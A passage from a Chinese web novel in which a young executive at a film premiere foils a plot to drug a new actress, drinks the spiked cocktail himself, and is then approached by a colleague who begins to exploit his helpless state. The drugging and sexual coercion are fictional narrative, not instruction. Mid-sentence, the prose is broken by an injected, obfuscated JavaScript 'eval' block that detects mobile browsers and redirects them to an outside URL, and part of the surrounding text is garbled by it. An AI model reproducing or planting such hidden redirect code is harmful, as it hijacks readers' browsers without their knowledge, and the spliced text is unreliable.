柏停不知何时已经走到了他身后,在众目睽睽之下缓缓抬手,捏住了他的后脖颈。 说是“捏”其实并不准确,他更像是轻轻搭了上去,仿佛在给发烧的人探温度。手指很凉,裴言修的身体几乎是瞬间就僵了起来。 “没断吗?我都听见响了。” 裴言修这才反应过来,刚才自己扭得太急,脖子咔嚓一声,后知后觉地有些发酸。 他狠狠瞪了一眼柏停:“撒开。” 柏停看他一眼,收了手。这才遥遥朝秦文昊举了举杯以示回应:“秦总。” 秦文昊目光落在他指间,眼底掠过一丝不易察觉的阴霾,但很快又恢复了温文尔雅的模样。 苏晚的目光在柏停和裴言修之间悄无声息地转了两圈,“言修,不介绍一下吗?这位是?” 柏停主动伸出手:“环隆柏停。您好。” 苏晚微笑着与柏停握手,语气温和得体:“原来是环隆的柏总。我是苏晚,言修妈妈的朋友。”她收回手,目光再次掠过两人,笑容里多了些别的东西。 这位在名利场和人情世故中浸淫多年的女士眼底掠过一丝了然,给女儿张罗的心思瞬间打消,换上了更加温和包容的神色。 “好了,不打扰你们年轻人说话了。文昊,陪我去跟李导再打个招呼?” 秦文昊应声,对裴言修和柏停点头示意,便陪着苏晚转身离开了。临走前,他又不着痕迹地看了一眼裴柏二人,神色莫辩。 直到那两人的身影消失在花园另一侧的人群中,裴言修才长长地舒了口气,紧绷的神经终于松弛下来。 他转头看向柏停,没好气地问:“你怎么会在这儿?” 柏停将手中那杯已经没什么气泡的苏打水放在旁边的矮桌上,目光平静地看向远处璀璨的城市夜景:“这家酒店是我个人投资的产业。怎么?你们在这办首映礼,要把老板也赶走吗?” 裴言修一愣,随即笑了:“藏得够深的啊,柏总。”他挑了挑眉,心道,秦文昊怕是根本不知道这件事。否则,以他对柏停的排斥和忌惮程度,恐怕宁可多费周折,也会把首映礼场地换到别处去。 “没什么好藏的。”柏停转过身,背靠着围栏,面对着裴言修,“只是当初看中它的地段和潜力,顺手投了而已。运营一直交给专业团队。” 夜风吹过,带来远处隐约的谈笑声。 柏停的目光落在他手里的酒杯上,又抬眸看他:“司机送你来的?还是自己开车?” “自己开。”裴言修应道,下意识晃了晃杯中剩余的酒液。 柏停看着那晃动的琥珀色液体,没说话。 裴言修顺着他的视线看向自己的酒杯,忽然就意会了。唇角不自觉微勾,他挑眉:“是在邀请我坐你的车吗柏老板?” 24. 下药 “你脑补的功力倒是一点没退步。”柏停看了他一会,开口轻嘲。 裴言修只当做没听见,香槟杯“叮”一下和柏停手上的杯子碰了碰,他笑:“那就恭敬不如从命了。” 说着,将杯子里剩余的香槟一饮而尽,空杯随手搁在旁边的桌上。 “我去趟洗手间,”他朝柏停扬了扬下巴,“待会儿结束了微信联系。” 宴会厅的公共卫生间在另一头,需要穿过依旧热闹的人群。裴言修懒得再挤进去,他记得这层楼靠近安全通道的地方,似乎有个提供茶水和小食的休息室,里头带有独立的卫生间,通常人不多,正好清净。 他循着记忆找过去,刚走近休息室门口,就听见里面传来压低的、带着猥琐笑意的交谈声,门虚掩着,声音断断续续飘出来。 “……放心,都安排好了……那丫头第一次拍戏,什么都不懂……酒里加了点料,待会儿等她晕乎了,直接送到王总房里……王总就好这一口,清纯新人……” “是不是有点……她毕竟是女主……” “女主怎么了?没王总投资,她能当上女主?再说了,这种没背景的新人,现在不拿捏,等以后火了,你还想吃得上?……听我的,保管让她事后也不敢声张……” 裴言修脚步顿住,脸色瞬间沉了下来,抬手就要推门。 “言修?你怎么在这儿?让我好找!” 身后突然响起的声音打断了裴言修的动作。他眉头微蹙,转身便看见秦文昊满脸带笑地走近,很自然地抬手搭在他肩上。 “正找你呢,”秦文昊语气随意,“刚和苏姨聊完,一转身你就不见了。走吧,李导他们还在主厅,说难得见你,要再和你喝一杯。” 他一边说着,一边顺手带着裴言修转了半个身,脚步自然地朝着派对厅的方向迈去。 “文昊,等等。”裴言修挣开他的手,压低声音,面色凝重,“我刚才听到……” “哎呀,有什么事待会儿再说!”秦文昊打断他,恰好又有一波熟人端着酒杯走过来打招呼,秦文昊立刻笑脸相迎,熟练地寒暄起来,顺势把裴言修也拉进了对话圈。 等裴言修好不容易应付完这轮,再想脱身时,秦文昊已经被另一群人围住,谈笑风生了。裴言修皱了皱眉,没再犹豫,立刻转身快步走回那个休息室。 推开门,里面已经空无一人,只有茶几上散落着几个空酒杯和烟蒂,空气中还残留着一丝令人作呕的烟酒混合气味。 该死!裴言修暗骂一声,目光扫过全场,在人群中搜寻。 《暗潮涌动》的女主角名叫夏初,他记得刚才在派对上看到过她,穿着一件浅蓝色的礼服裙,安静地跟在经纪人身边。 必须马上找到她。 现场穿浅色礼服的年轻女性不少。裴言修先快步走向之前看到夏初和经纪人待过的区域,人已经不在了。他又穿梭在交谈的人群中,视线掠过一张张面孔,一边礼貌地回应着偶尔的寒暄。 绕过摆满甜点的长桌,避开热烈讨论的导演小圈子,裴言修的目光终于锁定了目标——在靠近花园围栏、一处灯光稍暗的藤蔓装饰旁,夏初正和一个看起来像赞助商的中年男人站在一起。她手里端着一杯酒,脸上的笑容有些僵硬,而她的经纪人正在几步之外,背对着她和别人说话。 裴言修心头一紧,立刻加快脚步走过去。 “夏小姐。”他朗声打断了两人的交谈,自然而然地站到了夏初身侧,微微隔开了她和那个男人。 夏初和那男人都愣了一下。 “裴总?”夏初显得有些意外,但很快反应过来。 那赞助商显然也认出了裴言修,脸上的笑容立刻变得更加热情:“哎呀,裴总!您怎么有空过来?我正和夏小姐聊电影呢!夏小姐真是又努力又有天赋!” “王总过奖了。”夏初小声应道。 “是么?”裴言修随意地应了一声,目光扫过矮桌上那两杯并排放置、几乎看不出区别的鸡尾酒。 “正好遇到,打个招呼。”裴言修对夏初说,语气带着资方对演员应有的客气,“电影拍得不错,辛苦了。” “应该的,谢谢裴总肯定。”夏初微微松了口气。 那王总眼珠一转,觉得这是个巴结裴言修的好机会,立刻端起矮桌上离他最近的那杯酒,满脸堆笑地递向裴言修:“裴总,能跟您碰一杯真是荣幸!我敬您!感谢您对我们电影的支持!” 裴言修微顿,看了身旁的夏初一眼,轻笑接过酒杯:“王总客气。” “裴总!”旁边的夏初却突然低呼一声,脸色瞬间白了,伸手似乎想阻止。 裴言修没在意,为了尽快结束这场面,他直接仰头,将杯中那颜色漂亮的液体一饮而尽。 冰凉的酒液入喉,带着果味的甜香。 王总见状,笑得更加开怀,也把自己手里那杯干了。 裴言修放下空杯,对王总点了点头:“王总慢用,我和夏小姐还有点事要谈。”说罢,便示意夏初跟他离开。 夏初看着裴言修手中空空如也的酒杯,又看了看王总,嘴唇动了动,最终什么也没说,只是脸色苍白地跟在了裴言修身后。 走出几步,远离了那个王总,裴言修才低声问夏初:“没事吧?” 夏初猛地抬起头,眼神里充满了惊慌和后怕,声音都在发抖:“裴、裴总……您……您刚才喝的那杯酒……可能……可能有问题……” 裴言修脚步顿住,转头看她,眉头蹙起:“什么意思?” 夏初急得眼圈都红了,语速快而凌乱:“我、我刚才去拿酒的时候,不小心看见那个王总……他背对着人,往一杯鸡尾酒里倒了点白色的粉末,还晃了晃……我吓坏了,没敢声张。后来他非要敬我酒,拿的就是那杯……我、我就偷偷把桌上另一杯没动过的酒,和我手里这杯换了一下……我以为……我没想到他会拿这杯敬您……” 裴言修怔了一瞬,不知道是不是心理作用,他感觉到一股异样的灼热感自胃里猛然升起,顺着血液直冲向四肢百骸。心跳不受控制地加快,皮肤也开始隐隐发烫。 “没事,”裴言修深吸一口气,强迫自己保持冷静,声音却已经有些发紧,“不关你的事。你现在立刻去找你的经纪人,跟紧他,今晚别再落单,也别再碰任何别人递过来的东西。明白吗?” 夏初用力点头,眼泪簌簌往下掉:“裴总,对不起……我、我送您去医院……” “不用管我,照我说的做。”裴言修打断她,语气比方才更沉了几分。 夏初被他的语气震慑到,又愧疚又害怕,咬了咬嘴唇,最终还是一步三回头地离开。 裴言修看着她跑开,才猛地靠向旁边的墙壁,冰冷的触感暂时缓解了一丝皮肤的滚烫。他扯了扯领带,感觉呼吸都有些困难。 他踉跄着,凭着残存的理智和方向感往外走。每一步都像踩在棉花上,视野开始有些模糊,耳边嗡嗡作响,只剩下血液奔流和心脏狂跳的声音。以及那股几乎要将他吞噬的、从骨头缝里钻出来的燥热。 他知道自己这状态绝对不能再回到派对上,更撑不到开车回去。混沌的脑子里勉强拼凑出一个念头:去酒店前台开间房,今晚就住这里,然后立刻联系医生或者让助理送解药过来。 他几乎是拖着身体挪到电梯口,按下下楼键。等待的几秒钟都显得无比漫长。电梯门开,里面空无一人,他松了口气,跌撞进去,按了一楼大堂。 电梯下行时,失重感让他一阵眩晕,不得不紧紧抓住扶手才勉强站稳。门再次打开,他努力挺直背脊,维持着表面的镇定,朝前台走去。办理入住的过程模糊不清,他只记得自己好像报了个名字,递了卡,拿到了房卡,然后转身走向电梯,身后似乎还传来前台小姐礼貌的“祝您入住愉快”。 再次进入电梯,按下楼层。这一次,电梯在某一层停下,门开,外面站着正要下楼的苏晚。 “言修?”苏晚看到他,有些惊讶,随即注意到他异常潮红的脸色和略显涣散的眼神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274650|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头立刻蹙起,“你怎么了?脸色这么差,是不是不舒服?” 裴言修用力眨了眨眼,试图聚焦视线,扯出一个勉强的笑:“晚姨……没事,就是有点喝多了,头疼,开间房休息一下。” 苏晚上下打量了他一番,眼神里满是关切和不放心:“真的没事?要不要我陪你上去,或者给你妈妈打个电话?” “不用。”裴言修连忙拒绝,声音有些发哑,“我自己可以,睡一觉就好。您……您快下去吧,时间不早了,路上注意安全。” 苏晚又叮嘱了两句,见他坚持,这才狐疑地走进了电梯。电梯门合上,隔绝了她担忧的目光。 裴言修靠在冰冷的轿厢壁上,感觉自己快要撑不住了。终于抵达他房间所在的楼层,他几乎是扶着墙壁,一步一挪地往房间走。 就在他快要摸到房门前时,一个熟悉的声音从身后传来,带着关切和诧异:“言修?你怎么在这儿?脸色怎么这么难看?” 是秦文昊。 秦文昊快步走到他身边,伸手扶住了他摇晃的身体,触手之处一片滚烫。“怎么回事?我就一会儿没看见你,怎么就喝成这样了?”他语气担忧,仔细端详着裴言修通红的脸和失焦的眼神,“身上这么烫……走,我扶你回房间休息。” 裴言修此刻四肢百骸都叫嚣着无力感,脑子里像是一团浆糊,仅存的理智让他抗拒着秦文昊的靠近。“不用……我自己可以……”他试图推开秦文昊搭在他胳膊上的手,但那力道软绵绵的,根本推不动。 “跟我还客气什么?你都这样了!”秦文昊的语气不容拒绝,他几乎是半搂半抱地将裴言修架了起来,另一只手轻易地从裴言修虚握的手中抽走了房卡,“房间号是多少?……哦,看到了。走,小心点。” 他刷开房门,将几乎完全靠在他身上的裴言修扶了进去。房间里一片黑暗,只有窗外透进来的零星城市灯火。 秦文昊反手关上门,却没立刻开灯。他将裴言修扶到床边坐下,裴言修立刻脱力地仰倒在床上,额发被汗水浸湿,急促地喘息着,浑身烫得厉害。 “很难受吗?”秦文昊在床边坐下,声音在黑暗中显得格外低沉。他伸出手,指尖轻轻拂开裴言修额前汗湿的碎发,动作带着一种近乎怜惜的温柔,但那触碰却让裴言修本能地感到不适,想偏头躲开,却没有力气。 “你休息一会,我去给你倒点水。真是的,不能喝就别喝那么多……” 房间里很安静,只有裴言修粗重而压抑的呼吸声,显得格外清晰。 没多久,秦文昊端着一杯温水回来,在床边坐下。他将水杯凑到裴言修唇边,小心地喂他喝了几口。一些水渍顺着裴言修的下巴滑落,滴在床单上。 裴言修被这凉水刺激得稍微清醒了一瞬,他用尽力气偏开头,避开继续喂来的水杯,声音嘶哑,断断续续地试图表达:“文昊……我、我没事……就是喝多了……休息一下就好……你先……先回去吧……” 秦文昊放下水杯,拿起旁边叠放的毛巾,动作轻柔地替他擦去下巴和脖颈的水渍。但那只手擦干净后并没有立刻离开,反而顺势上移,抚上了裴言修滚烫的额角。 指尖带着微凉的触感,却让裴言修浑身汗毛倒竖。 那手指并没有停住,而是顺着额角,极其缓慢地滑到了他同样滚烫的脸颊,拇指甚至暧昧地、轻轻地摩挲了一下他的下颌线。 秦文昊的身体也随之微微前倾,靠近了些。温热的、带着酒气的呼吸几乎喷在裴言修敏感的耳廓,他的声音压得极低,在寂静的房间里带着一种黏腻的、诱导般的腔调: “别怕……言修,我在这儿陪着你……”他的另一只手也似乎要覆上来,“会舒服一点的……” 裴言修脑子嗡嗡作响,混乱中只剩下强烈的排斥和危险的警报,他想挥开,想呵斥,却浑身酸软无力,连抬起手指都困难。 就在秦文昊的嘴唇几乎要贴上他耳畔,另一只手也即将落下的刹那—— 门铃响了。